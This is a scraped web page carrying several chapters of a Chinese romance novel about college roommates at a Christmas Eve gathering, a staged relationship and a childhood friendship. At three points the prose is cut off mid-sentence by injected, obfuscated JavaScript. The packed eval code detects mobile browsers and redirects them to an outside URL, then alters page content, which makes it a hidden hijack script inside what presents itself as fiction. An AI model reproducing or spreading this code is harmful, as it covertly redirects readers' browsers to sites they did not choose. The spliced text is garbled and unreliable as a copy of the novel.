l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997370|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情,有多少人能够有底气说一句fuck off,然后洒脱地离开?尤其是女生。她对自己的期许,不仅仅是自己有底气做热爱的事情,她更希望在她公司就职的女性员工都有底气,对超出自己底线的人和事说滚蛋。凌静宜自嘲地想,这大概是天真的梦想吧,看看她自己,仍然没有底气跟大客户说这句话。 叶翔忍俊不禁,“没有人问过这个问题吗?” “当然有。”凌静宜歪着头朝叶翔笑了笑,“我告诉他们,是firework on的缩写。” 他从来没看过这一面的凌静宜。高贵叛逆的灵魂最有趣。可是这样的灵魂,他不能拥有,只能远远观望,最多以朋友的姿态守护在她身边。苦涩从他的舌尖蔓延,浸透整个口腔,再顺着食道袭击心脏。 曾经他总对那些以友情的名义实暗恋之实的行为嗤之以鼻,认为那些人都是傻子。天下何处无芳草,何必单恋一枝花,他觉得自己永远都不会为了一个女生放弃尊严。眼下,他何尝不是个傻子。 走进铭盛大门,叶翔一本正经地问凌静宜:“你确定不需要我作为后备军吗?” 她把头发拢到耳后,抚摸着鬓角,昂起头像斗士一样,“你别胡思乱想了,我从不存备胎。” 只有她自己知道,她不过是一只虚张声势的纸老虎。 如果陈东尔在这里,他必然能看出端倪,在心里擂起战鼓:凌静宜在紧张时会不自觉摸自己的头发,她把头高高抬起只是为了掩盖内心的慌乱。可惜叶翔不知道她这些频繁的小动作代表着什么。 叶翔在心底苦笑,“开玩笑嘛。” “一点都不好笑。”凌静宜白了他一眼,自顾自向前走。 他追上去,摆出一副吊儿郎当纨绔子弟的姿态,“你怎么一点幽默细胞都没有……要知道,我可是女生心目中的理想型,给你当后备,你可捡到大便宜了。” 凌静宜停下了脚步,很认真地望着叶翔说:“你那么好,不要浪费时间在我身上。” “又来了。”叶翔压下反驳的念头,以玩笑的口吻说,“拜托,凌大小姐,你别太自恋了。刚刚都说了只是朋友帮忙。” 凌静宜盯着叶翔看了几秒,“我回宿舍,你有事就先走吧?” 叶翔拽住凌静宜的胳膊,“我送你回去吧。”他踢着脚边的小石子,踌躇了片刻,“其实,今天我们是不是应该庆祝一下?” “庆祝什么?” “庆祝……我作为冒牌男友打工的一天……” 凌静宜迟疑了一下,“今天就不了吧,她们还在宿舍里等着我过节……” “那我走了。”叶翔扭头朝魅影走去,舌底泛起的苦涩铺天盖地。 “你要不要……”凌静宜声音低了下去,把“一起来”几个字咽了下去,轻轻地在心底对自己说:“算了。” 拒绝就得干脆利落,拖泥带水反倒像欲拒还迎——这一点都不凌静宜。 她甩了甩头,转身向宿舍走去,没有回头。当然,她也就没有看见,叶翔回了头,望着她的背影,在原地站了很久。 35. 第 35 章 我们举起酒杯,高声呼喊“圣诞节快乐”,细密的快乐从毛孔里钻出来,对我来说,这是前所未有的节日体验。面对窗户坐着的许苑薇突然张大了嘴巴,直直地指向窗户,“烟花!” 烟火在漆黑如墨的夜空里绽放,楼下有人大声叫着凌静宜的名字。有男朋友的女生可能都去市区过圣诞了,整栋楼只剩下大概1/3不到的人。天气预报号称今天零下四度,但还是有人裹着厚厚的外套探出脑袋去看——不知道是被烟花的美丽吸引,还是被旺盛的八卦欲望驱使。 “凌静宜,在一起的第一个圣诞节都不一起过吗?” 叶翔在地上用蜡烛摆了一个心形,自己站在烛光当中。他穿着自己最喜欢的那件派克外套,手里抱着一大束玫瑰花。 “恶俗!” 凌静宜看了一眼转头往回走,走着走着她停下了脚步,像是想起了什么,望着窗外升到半空中四处散开的焰火发呆。 “你跟叶翔什么时候在一起的?”刘小叶瞪着她大得出奇的眼睛,大声吼了一句。 “今天下午。”凌静宜回神,淡定地回答,就像出门去买了个三明治。 “所以你们真的在一起了?”这次吼的是李离。 我同情地看了她一眼,这一天对她来说,算不算巨人,哦,不,男神的陨落? 凌静宜白了她一眼,没好气地说:“假的。” “先别管真的假的,你们不觉得烟花很美吗?”许苑薇从地上爬起来,趴在窗户上贴着玻璃看向夜空。窗户上起了一层薄薄的雾气,她哈了一口气,画了颗心。我们宿舍缺乏浪漫因子,没想到稀缺元素在许苑薇身上绽放。 只有李离孜孜不倦地追问凌静宜:“真的是假的吗?” 凌静宜感到心累,她无奈且含糊不清地向我们解释了。其实跟没解释也差不多,我们知道的仅限于叶翔是她的御用挡箭牌,至于为什么和怎么样,一律都是无可奉告。 陈梦晓翘着二郎腿靠在沙发边上,举着酒杯念祝酒词,“祝凌静宜实现媒体发言人的宏伟愿望,啊,在刚刚的发言中完美实现了外交辞令和公关套路。” “你要不要下去看看,否则明天我们可能被教务主任约谈。”许苑薇非常务实地提了建议。 “就算约谈,也应该找楼下那个。关我什么事。”凌静宜不为所动。 刘小叶异常可惜地感慨,“本来我以为男神已经是你的囊中之物,那还不得吹嘘上大半个月,结果你告诉我是在做梦,哎!!” 然而,这并不能打消她的意淫,“你们就算是假装情侣,也应该尊重规则,经常出去约个会啊,看个电影啊,牵个手啊,拥个抱啊,亲个……” 还没说完,凌静宜的电话响了。接完电话,她一脸踩了狗屎的表情,默不吭声,穿了外套冲了下去。 叶翔一脸得瑟,凌静宜觉得自己的血液往头顶直冲,恨不得就住他的耳朵吼他一顿。为了保持形象,她在心里默数了几个数,压低了声音问:“你发什么神经?” 烛光在两个人的脸上跳跃,暖黄色的光晕显得柔和而温馨——叶翔甚至想伸手去拨弄凌静宜额前的碎发,但他忍住了,只是挑了下眉,“你不会觉得那位过去式先生这么好糊弄吧?” 我们都很好奇,整齐划一地趴在窗户前。 “你说他俩在聊什么?”刘小叶问。 “不然你下去听听。”陈梦晓撺掇道。 李离急切地贴在玻璃上,“什么都听不见啊!” 当然了,我们要是能听见一楼大门外的动静,这楼的质量得多差! 好奇归好奇,没有一人愿意动弹,在暖烘烘的房间里喝着香槟看烟花和在躲在寒风里偷听八卦,怎么选,一目了然。 五分钟之后,凌静宜回来了,她的脸上看不出任何变化。 “我们换个地方吧。”她说得稀松平常。 “换哪儿?”我接过陈梦晓递过来的零食,还没放进嘴里,脑子里突然闪过一个念头——不是要去叶翔家吧? “叶翔家。”凌静宜转头对着刘小叶问:“你能把欧祈叫出来吗?” “哈?”刘小叶差点被刚刚塞进嘴里的薯片噎住。 “给个理由。”陈梦晓的右腿架在左腿上,整个人歪着靠在沙发边,慵懒地问了我们所有人都想问的话题。我想给小陈哥点赞。 凌静宜无奈地翻了个白眼,说叶翔今天为了帮她的忙,错过了所有朋友的预约时间,现在没地方去。我瞪大眼睛——这智商不在线的借口,凌静宜居然肯买单!!! 陈梦晓淡定地说:“爱情让人智障,连魔女都不例外。” 凌静宜还没开始喷射毒液,陈梦晓迅速截住话头,“叶翔肯定不想有我们这么多大几千瓦的电灯泡,全员出动肯定是你的主意。” 我恍然大悟——狡猾的凌静宜。 刘小叶眼睛骨碌骨碌转了一圈,跑到我身后,一把抱住我的胳膊,探出半个脑袋,冲着凌静宜贱兮兮地问:“我们去,有什么好处?” 经过讨价还价,凌静宜用一次精油spa收买了我们。 “话说叶翔在外面这么久,不会冻死了吧?”李离有点担心。 “他才没那么傻,肯定回车上等消息了。” 凌静宜飞快地扫了一眼在跟小陈哥炫耀的刘小叶,“你还不去问欧祈吗?” 刘小叶做了个鬼脸,迅速看了看手机。没有任何消息。她十五分钟前给欧祈发的微信没回,下午发的微信也没回——他们的聊天记录停留在刘小叶收到花后拍的照片和夸张的开心表情,欧祈的回复只有四个字“喜欢就好”。 刘小叶突然有点担心,欧祈以前不管多忙,都会回她消息。不会出什么事儿了吧?心下一紧,她赶紧跑去阳台给他打电话。 第一遍没人接,刘小叶的心提了起来;第二遍还是没人接,她快哭出来了;第三遍铃声快结束了,欧祈终于接了电话。 “吓死我了,你没事儿吧?”刘小叶声音里带着哭腔。 欧祈说自己一直在忙,没听见手机响。 刘小叶问他要不要一起去叶翔家过圣诞节,人多热闹——她今天下午问他圣诞节怎么过,他没有回。 欧祈沉默了片刻,含糊不清地表示手里还有活儿没干完。 刘小叶有些委屈,“以前过节你很早就计划好了,不像这次……本来说好我们一起跨年的,你也说有事要取消。我们两个星期没见面了……” 欧祈看着手里的模型,不知道在想什么。 电话那头又陷入了沉默,可能只有几秒钟,可刘小叶感觉像一个世纪那么漫长。 她忍不住哇得一声哭了出来,“欧祈,我们到底怎么了?我哪里做得不好,你告诉我,我会改的。” 抽了抽鼻子,手边没有抽纸,她用手背使劲擦了一下。 “你是不是嫌我胖?”刘小叶想到以后要跟炸鸡蛋糕冰激凌说再见,犹豫了两秒钟,“我答应你,我会努力减肥的。” “跟你没关系,是我的问题。我……最近太忙了,忽略了你……”欧祈似乎轻轻叹了口气,他问:“你们去哪里聚会?地址发给我。” 刘小叶挂了电话,吸了吸鼻子,用手背擦掉眼泪,笑得很甜。 我们浩浩荡荡地一群人,在平安夜晚上快10点时,走出了宿舍。 许苑薇撑着自己的脑袋,推了下鼻梁上的黑框眼镜,轻声嘀咕:“我还是觉得我们不应该去做1万多瓦的电灯泡。” 然后,我们看到了凌静宜口中不会那么傻的叶翔,手插在口袋里跺着脚在楼下等。 …… 叶翔从没觉得等待是如此煎熬。他看上去站姿随意,实际上插在口袋里的手握成了拳,大拇指交扣在食指和中指之间,小指头紧挨着无名指微微颤动,强迫自己深呼吸。 凌静宜回宿舍前留了一句话,“要是她们不想去,我也没辙。你就自己回去吧。” 为了缓解焦虑,在等待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997371|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,他给好基友们打了电话。美其名曰是为他们制造机会,其实是他需要找点事情分散自己的注意力。 打给萧楠,响了两声之后被挂断了;接着打给陆亦,提示转语音留言。 拨了几次都无人接听,他放弃了。给他们分别留了言:别怪我不够朋友,今晚凌静宜她们整个宿舍来我家过圣诞,你自己决定来不来。 他想,就算姑娘们不去,诓骗那两个家伙一起,总比孤单单一个人过圣诞强。 走进夜色如许的夜幕,我打了个寒颤,晚上的风凉刺骨。 “你好,我的女朋友。”叶翔的眼睛里冒着小星星。 我可以想见凌静宜翻的白眼,果不其然,她波澜不惊地回复:“拜托你,别太入戏好吗?很容易精分的。” “就算神经了,我也会记得你的。”叶翔脸不红心不跳地回答。 “太肉麻了!” “我的鸡皮疙瘩都竖起来了。” 我们纷纷拒绝这碗甜度严重超标的假狗粮。 “闭嘴。”凌静宜瞪了叶翔一眼,叶翔立马噤声。 李离撞了撞我的胳膊,眼神里明晃晃得写着“原来他是妻管严”! 走到停车位时,一个严肃的问题来了,叶翔的车子只能坐下五个人,大家面面相觑。 刘小叶像只树袋熊一样牢牢地扒在陈梦晓身上,一脸警惕地望着凌静宜,“我不要一个人打车去。” 陈梦晓七手八脚地把她扒下来,推到一边。 刘小叶迅速粘到了我身上,用她的两条胳膊箍住我的腰,整个人像一根藤曼缠着我。我像一根快要断掉的竹竿,撑不住她的重量往后倒,陈梦晓伸手扶住我的肩,右手食指戳刘小叶,“没看出来,刘小叶,你还是个柔软的小胖子嘛。当心别把硬邦邦的周小西掰断了。” 许苑薇扯了扯刘小叶,“不然我陪你打车去好了。” 凌静宜货真价实地翻了个白眼。她对叶翔说:“刘小叶坐你的车,不然我怕忍不住掐死她。” 凌静宜走去开车,刘小叶后知后觉地盯着她的背影说:“怎么不早说有两辆车呢。” “你快松开我,箍得我喘不上气了。”我费劲把刘小叶的胳膊扒下来。 没有燃尽的烟花像流星一样自夜空陨落,有一种曲终人散的悲凉感。蜡烛烧得短短长长,蜡一层层沿着烛芯往外堆砌,原本纤细的蜡烛变得臃肿肥胖杵在地上。那么深那么长的黑暗,在烟花绽放过后更加寂寥。 轻微的脚步声,偶尔踩到小树杈时清脆的声响,在寂静的校园里尤为明显。远远的暖黄色灯光捕捉着每个人的光影,地面上的影子由长及短,犹如时间旅行者穿梭在忽明忽暗的空间里。一瞬间,我的鸡皮疙瘩浮了上来。 在这个浩渺的宇宙中,我们如此渺小。微茫得如同夏夜躲藏在草丛中的小虫儿,或许在冬季来临之前便已销声匿迹。生活任何一个突如其来的转向,都能将我们抛入现实悲惨的深渊当中。 就算这样,我们仍然怀抱着憧憬和期盼,在失望中奋力挣扎,避免让自己陷入如墨色一般绝望窒息的黑暗当中去。只要有一点点微茫的光亮,便执著地相信天明。这种执著,就像太阳给密布的乌云所镶嵌的金边,就像无边黑暗中闪烁着的启明星,就像无边无际海面上突现的灯塔,让人坚定地相信前方总有出路。 冬夜的风冷得刺骨,我打了个寒颤。奋力甩了甩头,把这些想法从脑子里驱逐出去——我总是在本该欢畅的时候被偶尔浮现虚无感裹挟,它是一种不由我控制且经常不请自来的情绪,我知道它很扫兴。快乐的时候应该尽情欢乐,享受不带任何杂质的纯粹的快乐。它总是由着自己的性子,在每一个欢乐的日子长驱直入,让那些美好瞬间打了折扣。 我曾经努力想摆脱它,但它来去无声,就像摆脱自己的影子一样困难。我想,也许,生命的底色就是寂寥和荒凉。它没有占据我的整个人生,便由着它吧,只是尽量提醒自己,享受此刻的快乐。 36. 第 36 章 我们一群人站在独栋小别墅面前,刘小叶发出了一声惊叹:“哇哦……叶翔,原来你是如假包换的有钱人!” 叶翔挑了挑眉毛,不置可否,做了个邀请的手势,“欢迎参观。” 下午出门去铭盛之前,他特意让Jessica早来两个小时做深层清洁外加除螨。尽管不确定今晚会有这么个聚会,但他一直喜欢在每个重要的节日来临前,把屋子打扫干净整理清爽,这是他的仪式感。 屋子里开着地暖,我们裹着寒风从屋外进到屋内,一股暖气迎面扑来。我暗自叹息,这时候没有比来一杯冰激凌更惬意的了。 刘小叶一脚踩进纯白色的长毛绒地毯,叶翔和凌静宜齐齐倒抽了一口气。我们心照不宣当作什么都没发生,叶翔的嘴角微微扬起,他跟凌静宜有共同点,仿佛成了他专属的小秘密。 但他的这个专属小秘密在下一秒就被刘小叶毫不留情地戳破,“洁癖夫妇。” “洁癖总比邋遢好。”凌静宜脱下外套,环顾四周找挂衣服的地方。她驾轻就熟推开了一扇跟墙没什么区别的门,我仔细看了看,发现上面有银色的细格子。不注意看压根看不出那是一道暗门。 凌静宜对这种简约风格很欣赏,她转头问叶翔:“哪位设计师操刀的?Christian Liaigre,Joseph Dirand还是Deborah Berke?” “Doborah Berke。” “她是我最喜欢的设计师之一。”凌静宜没有说的是耶鲁大学设计系曾经是她的梦想学府之一。 叶翔感慨她的眼光犀利,同时暗自开心自己当时做的选择。当然,他不会告诉她,另外两栋房产,包括江景大平层都是由Candy&Candy设计的。欣赏Doborah Berke的人通常不喜欢Candy&Candy。 陈梦晓打量了两眼房子,没说什么。 刘小叶问旁边的许苑薇,“你猜这个房子要多少钱?” 李离悄悄凑到我耳旁说:“你们有钱人怎么都喜欢这种硬邦邦的宜家风?”下一秒,她就被有钱人家软绵绵的酒店拖鞋征服了。 我们三三两两脱掉了外套,问题出现了:衣帽间挂得满满当当,没地方给我们挂衣服了。说是满满当当,其实只挂了几件外套。叶翔有些尴尬,门厅里的衣帽间不大,完全没考虑到社交需要。他自己的外套通常穿两次就让Jessica送去干洗了。跟设计师沟通时,特意没留太多空间。 “扔沙发上吧。”叶翔皱了皱眉。 刘小叶利落地把外套扔了上去。 我歪着头猜测:如果刘小叶知道她那件不超过五百块的外套扔在了价格超过十万的古董沙发上,她会不会尖叫出声,回去就把那件外套挂起来顶礼膜拜。 叶翔没说什么,我当然装不知道。 我们把外套扔在了沙发上,唯有凌静宜勾着外套,皱着眉头,无从下手。 “或许你能借个衣帽架给我?” “卧室里有,你把衣服给我吧。” “这件外套我穿过两次了……” “那正好……”叶翔笑起来,“衣帽架上的那件外套明天要送去洗。” “你们还没吃晚饭吧?”叶翔掏出电话——居然不是新款Iphone,而是一款硬朗的纯黑色手机,背面有个V字,看不出是什么品牌。 “如果你准备叫披萨的话,推荐棒约翰。它家的薄底芝士披萨简直绝了。”刘小叶热情洋溢地向叶翔推荐。 叶翔笑了笑没说话。 刘小叶对着我嘀咕:“难道他想点肯德基啊?这也太抠了点吧。要是点鸡,我饿死了也不吃。” 陈梦晓伸出右手食指按住刘小叶嘟囔的嘴,轻轻嘘了一声,挑着眉毛问:“那鸭你吃不吃?” 李离兴奋得快要晕过去了,一直不停拽我的袖子,“小西,太违规了!” 我真的想马上晕过去。这都是些什么乱七八糟的朋友?! 一排人托着餐盘列队进来的时候,刘小叶和许苑薇的眼睛瞪得跟铜铃一样大。 我的内心潜台词是——要不要这么夸张?!唐顿庄园也不敢这么演吧? 凌静宜和陈梦晓都一副千年冰山的样子,反衬我们尤其没见过世面。 李离给我使了个眼色,我知道她的潜台词,“小西,你家都没整过这个排场”。 事实上,我家还真搞过这么大的排场,那是我妈三十六岁的生日宴。说实话,我也不知道,三十六岁到底是个什么了不得的年纪。我妈说为了庆祝她挨到了人生的第三个本命年,并且没有被我这个混世魔王气死,三十六岁生日是一件值得大肆庆贺的事情。我仔细回想了下,除了我在四岁到六岁那三年确实总干些让爸妈头疼甚至可能的话我妈想把我塞回肚子里的糗事,其余的年份我绝对算安分守己,别人不招惹我,我决计不会招惹别人。对我妈所说的“混世魔王”,完全不知道从何说起。 也许在每个妈的心中,只要外放一点都是混世魔王,只要内敛一点都是自闭儿童。其实我自己觉得,在六岁之后,我更像自闭儿童。 反正不管出于什么原因,我十一岁那年,我妈的生日在M市郊区的度假山庄举行了盛大宴会。 那是个异常炎热的夏天,虽然是初夏,温度跟盛夏没什么差别。本来妈妈想在外面草坪上搞自助餐,可天气太热了,草皮都被晒得蔫蔫的,最后改在室内办宴会。 大概傍晚时分,拿到邀请函的宾客们陆陆续续来了,长条桌子摆在客厅中央。一排穿着白衬衫打着领结的侍者端着半圆餐盘鱼贯而入,到餐桌前才揭开盖子。我当时想,这大热天的,干嘛还要给食物加外罩,它们不会在里面闷坏吗? 现在想起来,我对那晚的印象是很多人,很多很多的食物和酒。大人们穿得很隆重,食物们都罩着铁盒子。其他的已经随着岁月流逝逐渐褪色,变成了记忆中可有可无的装饰物。 有一段被我掩埋至记忆最底层,眼下突然翻涌上来,像春汛一样汹涌澎湃。 事实上,对于那次宴会,我印象最深刻的是一个人,一个最早可以被称为“好朋友”的人。 我读书的那间学校里胖子很少,大多数孩子纤细修长。在一众单薄纤弱的儿童中,我的厚重敦实显得格格不入。大概因为我是个沉默的小胖妞,那时候既没有小男生愿意跟我玩儿,也没有要好的女生朋友。爸爸总说小时候胖点没关系,等长大肯定会瘦下来,可妈妈无意中流露出“胖胖的小孩穿不下好看的小礼服,加大码丧失了可爱和精巧”的神态,刺伤了我脆弱的自尊。于是,在最胖的那几年里,我异常安静,不爱说话。表面的内敛安静不过是为了掩盖自卑和脆弱。我当然交不到朋友,虽然很渴望友情,可没有人主动跟我做朋友,我也不是主动的人。后来,我渐渐习惯了跟书做朋友。 那晚,妈妈是宴会的主角,她忙着和朋友们聊天喝酒。爸爸在另一边跟人笑谈。几乎没人带孩子来赴宴,我吃了点东西,感觉十分无聊。偶尔落在我身上的眼光有诧异有疑惑,让我不自在。我盘算着趁妈妈不注意溜回书房,或者跑出去找个没人的角落待着。唯一让我犹豫的是,我不知道什么时候开始切蛋糕——自从知道我爸从Monarch Cake订了一个十层高的蛋糕,还是覆盆子冰激凌口味,我就对那个蛋糕垂涎不已。 我站在台阶上思考,不知道从哪里钻出来的小女孩,睁着圆溜溜的大眼睛问:“你愿意跟我一起玩吗?” 她看上去比我小两三岁的样子,又瘦又小,宽大的衬衫裙在她身上晃荡,不知道是因为她瘦还是因为衣服买大了。我看上去有她的两个那么大。她穿得非常普通,不过倒是干净整洁。显然她不是妈妈哪个朋友家的孩子。 鬼使神差的,我点了点头。 她带我去厨房看那些忙碌的大人们,指着一个瘦瘦的略有些驼背的女人对我说:“那是我妈妈。” 然后,她指向自己,露出八颗牙齿,“小敏,你呢?” “小西。” 她拽着我的手,跑去她妈妈身边,那个瘦弱的女人微笑着给了我们一人一个面包,“去玩儿吧。” 攥着面包,她拉着我从厨房的后门跑到了外面:大片的田野,没有落下的夕阳远远的在山坳处挂着,橘色的云霞把柔和的余晖洒在植物上,泛着清浅的黄。 她扯了扯我的胳膊,示意我看向不远处的草垛,“爬到顶上,能看见月亮从山腰爬上来,要是没月亮,躺着能看到很多很多的星星。” 我穿着妈妈两个月前预定的Dior小礼服,对那座高高的茅草堆充满了向往。但更担心弄破衣服,我优雅的妈必然会勃然大怒,送我去礼仪学校。 她看出了我的犹豫,歪着头眨巴着眼睛,“你的小裙子真好看,弄脏就不好了。” 想了一会儿,她的眼睛亮起来,“我有办法,跟我来。” 她拉着我一路跑,“我家就在那条小河的对面。” 我一头雾水跟着她跑,不知道为什么从爬草垛变成了去她家。 那是一座低矮的木屋,空间逼仄,居然还有个小小的楼梯通向阁楼。她的房间就在那个站都站不直的阁楼上。 我猫着腰站着,她在一个蛇皮袋里翻来翻去,看了看我,翻出来一件T恤和一条裤子递给我,“换上这个,就不怕弄脏你的裙子了。” 我有些为难,主要是怕撑破她的衣服,她却以为我在害羞,“没事儿,我背过身,不会偷看你换衣服的。” 我们互问年龄,我诧异她跟我一样大,她那么瘦那么小。我好羡慕她。她说她也羡慕我。 她的衣服都很大,给我穿居然意外的合适。现在想起来,大概是大人为了她能多穿两年,故意买大了。 换好衣服,我们原路返回,爬上茅草堆的时候,天已经全黑了。没有月亮,但星星似乎离我们很近,我伸出手好像就能碰到它们。好神奇的体验。 我不记得是怎么从茅草堆上下来的,也不记得是什么时候回的别墅,那片星空一直印刻在我脑子里。 更令我开心的是,妈妈说我们在这座别墅住一整个暑假。 妈妈一整个夏天都在忙着把一些衣服带走,再从家搬新的衣服过来。而我整个暑假都跟小敏在一起玩,分享零食,去山谷探险,去小河里摸鱼和虾…我们成了好朋友,我认为她是我最好的朋友。 暑假结束时,我俩依依不舍地告别,约定第二年暑假还在一起玩。 我第二年暑假央求爸妈到别墅度假,兴冲冲跑去找她,可她不见了。我问了她的邻居,只说她跟着爸妈搬走了,至于搬去哪里,没有人知道。她没有给我留下只字片语。我找遍了所有我们曾经一起玩耍过的地方,幻想着她可能在跟我玩捉迷藏的游戏。也许她会给我留下些许提示,就像侦探小说里面的线索一样,我可以通过线索找到她。然而没有。 我们曾经的秘密基地——小河下游的一个废弃管道,我们把找到的一些宝贝都藏在那里,我来来回回翻了很多遍,没有蛛丝马迹。不知道是不是因为搬家走得太匆忙,那些宝贝她都没有带走。她就那样消失了,好像从来没有在我生命里出现过一样。 妈妈安慰我,我会交到比小敏更好的朋友;我不相信,甚至怀疑我是否还能交到朋友。 从那以后,我家再也没有在家举办过任何宴会。我爸总怕我触景伤情。外面的那些宴会,千篇一律,中规中矩,不外乎酒店自助,没有触动我的可能。来的人不是爸爸的合作伙伴就是潜在的合作伙伴,我爸邀请那些家里有跟我差不多大孩子的家庭,希望我交到朋友,可我已经对交朋友丧失了兴趣。 后来,我爸把度假山庄卖了。我仍然没有朋友。小敏曾让我相信,我可以有朋友,可她又让笃定变成了否定。我重新回到没有友情的曾经,保持独来独往。因为我害怕她们突然从我的生命里消失。我已经快记不起小敏的脸长什么样子了,可她的名字仍然像个深刻的诅咒一样刻在记忆深处。主动消失的人不会知道,被留在原地的那些人,心里有多大的创口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997372|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你在想什么?”李离用手肘捣了捣我,“怎么一副快哭了的样子?”她用只有我们两个人能听到的声音说:“就算你家没这么有钱,也比我家有钱多了。” 我沉浸在自己的世界里,直到李离厚颜无耻地硬闯了进来。 望着李离,我突然被触动:她对于我的意义,或许并不像她自己认为的那样,只是一个好朋友。有些人,是一束光,也许他们自己不知道,对别人来说,她们是非比寻常的意义所在。 李离缩了下脖子,用手抱住胳膊不停摩挲,“小西,你干嘛用那种眼神望着我,怪瘆人的。” “你俩别在那嘀嘀咕咕了,对美食也太不尊重了。”刘小叶嘟囔了一句。 看到满桌子美食,刘小叶马上把自己在电话里的承诺扔到了外太空,她在心里默默劝慰自己,“吃完这顿再说,吃饱了才有力气减肥。况且,欧祈还没来,暂时不作数……”给自己做完心理建设之后,她心安理得地开始享用美食。 我望着桌子上放着的食物:烤春鸡,煎菲力牛排,蒸银鳕鱼,烤羊腿,烤猪肋排……一眼望过去几乎都是肉,只有一道烩蘑菇算是素菜。环顾四周,只有刘小叶一对眼睛放光,她的眼睛里除了羊腿就是烧鸡,可能还会有猪排。作为一个货真价实的肉食爱好者,厨师的品味极大地契合了她的需求。 今天这顿饭,都是硬菜。 我百无聊奈地想,看来叶翔没有好好做功课,凌静宜最爱吃的是日料,海鲜次之。至于西餐肉类,她并不热爱,只是因为红酒配上红肉后的口感层次更丰富。最初我觉得匪夷所思,这不是典型的本末倒置?不过,我深谙一点,千金难买她乐意——毕竟每次去吃高档餐厅都是她付钱,金主爸爸说什么就是什么——我们一如既往地在这件事情上没任何骨气可言。 刘小叶舔了舔嘴唇,指着烤鸡的翅膀说:“这个看上去很好吃的样子。” “大家随意,不知道你们喜欢吃什么,就各个品种都做了些。喜欢吃哪个就……” 没等他说完,刘小叶已经拽下了一只鸡翅膀,嘴巴里塞得鼓鼓囊囊地说:“太好吃了!” 叶翔悻悻然闭了嘴,假客气这一套从来不会出现在刘小叶面对美食时。 刘小叶充分展示了她对于每一样美食不偏不倚的喜爱,对所有的肉菜秉承雨露均沾的原则。当然,根据她下筷子的频率来判断,她还是有偏爱的:切好的烤羊腿她夹了三四次,烤猪肋排吃了两根,烤春鸡撕了一个鸡翅。 除了刘小叶之外,其余人都保持矜持,以凌静宜为代表。 她本来吃的就不多,今天吃得更少:她只吃了叶翔帮她切的两块烤春鸡,两三小块鲜嫩可口的菲力牛排,一块银鳕鱼,后面总在吃蘑菇。至于那些有骨头的,吃相不好看的食物,譬如猪肋排,烤羊腿……她碰都没碰。 陈梦晓的骨盘里零星地散落着两块鸡骨头,还有一大块菲力牛排,切开的羊腿肉和一小块银鳕鱼,外加三四个蘑菇。猪肉一律没出现在她的餐盘里,高蛋白食物果然受到体育生的偏爱。 许苑薇今天似乎胃口不佳,她喝完餐前汤后,只吃了一块鳕鱼和几口烩蘑菇,餐盘里干干净净。她似乎对餐前汤(今晚的是经典的罗宋汤)颇为满意,轻声问坐她左手边的陈梦晓是不是不爱喝——陈梦晓那碗汤一动没动,她直接推给了许苑薇。许苑薇收到了两碗汤,坐她右手边的凌静宜也把没动过的汤推给了她。 至于李离,不知道是情绪不高还是胃口不好,平时喜欢肉食的她,只喝了罗宋汤,吃了鸡肉、牛排和蘑菇,其余的菜都没碰过——不过也算正常,李离的战斗力只有在熟人面前才发挥得淋漓尽致。 我最喜欢的是烤春鸡,叶翔不知道从哪里请来的师傅,烤春鸡做得非常好,香嫩多汁,一点都不柴,外酥里嫩,一口咬下去齿颊留香,忍不住想吃第二口。烩蘑菇口感也非常不错,唯一差强人意的是这道菜本身就需要放入非常多的油,否则就会不好吃。这也导致了一个女生都害怕的结果——虽然它是唯一的素菜,但可能热量比肉菜都高。 “后面有时蔬。”叶翔见凌静宜意兴阑珊地戳了一小块蘑菇后,贴心地提醒。 这个消息俘获了三个翘首等待的人。 只有刘小叶啃着猪肋排嘟囔:“素菜有什么好吃的,你们试试这猪肋排,太香了。” 毫无疑问,在她眼里,我们这群等着吃草的,压根不会欣赏美食,她的想法大概和大厨不谋而合。 我偷偷瞄了瞄每次上完菜过五分钟来看一眼的大厨,显然刘小叶才是他最欣赏的客人——他望向其他人时,脸上保持着矜持的不达眼底的微笑,面对刘小叶的时候,他的嘴角扯着上扬,心情非常愉悦。 用来佐菜的是一瓶粉红葡萄酒,产自普罗旺斯。这种酒价格不贵,却意外的百搭,无论配红肉还是白肉皆宜,口感清爽芬芳。 凌静宜对这支酒的满意度超越了桌上的任何一道菜肴,她至少喝了三杯。 这个酒唯一的缺点是:看上去度数低,后劲却挺强。我只喝了一杯就感觉脸上发烫。 喝了酒之后,所有人放下了拘谨。严格来说,其实并不是仅仅放下拘谨,而是有些放纵。毫无疑问,酒精不仅能放松神经,还能放宽行为标准。我们喝得并不多,一共喝掉了2瓶酒,大概也就是人均两杯。可餐桌上的气氛松弛了下来,没有人紧绷着神经,对餐品评头论足。 烤得松软可口的苹果派最后被端上来,我完全吃不下了。不是因为吃得太多,而是那两杯酒太占地方。苹果派迷人的香气诱惑我向它伸手,咬下第一口时的满足感几乎即刻被吃撑着的饱腹感所取代。我垮了垮脸,看向刘小叶,她也是一脸幸福的表情没维持两秒就皱起了眉头。 